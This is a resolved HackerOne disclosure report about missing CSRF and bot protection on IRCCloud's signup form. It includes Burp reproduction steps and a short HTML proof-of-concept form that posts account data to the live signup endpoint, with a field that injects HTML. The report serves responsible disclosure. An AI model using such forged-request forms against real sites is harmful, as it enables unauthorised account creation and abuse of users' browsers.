CSRF - Creating accounts
Unknown
Vulnerability Details
Hi there,
I've discovered the following CSRF issue: There's no CSRF / Bot protection on the registration form.
###Details
An attacker could automate the registration process to flood your database with invalid/useless accounts. He could also source the process out to his victims (CSRF).
###Steps to reproduce
- 1. Go to https://www.irccloud.com/
- 2 . Turn on burp and submit the registration form
- 3. Remove the "token" and "_reqid" parameter from the request body and forward it
- 4. The account should be created succesfully.
CSRF PoC:
```
<html>
<body>
<form action="https://www.irccloud.com/chat/signup" method="POST">
<input type="hidden" name="email" value="tes3@internetwache.org" />
<input type="hidden" name="password" value="fooobar" />
<input type="hidden" name="realname" value="test"><h1>foobar</h1>" />
<input type="hidden" name="invite" value="" />
<input type="hidden" name="org_invite" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
```
###How to fix?
Either validate the "token" parameter server side or use a CAPTCHA to fight bots. The latter would be the prefered fix in my opinion.
Yours sincerely,
Sebastian Neef
Actions
View on HackerOneReport Stats
- Report ID: 7332
- State: Closed
- Substate: resolved
- Upvotes: 1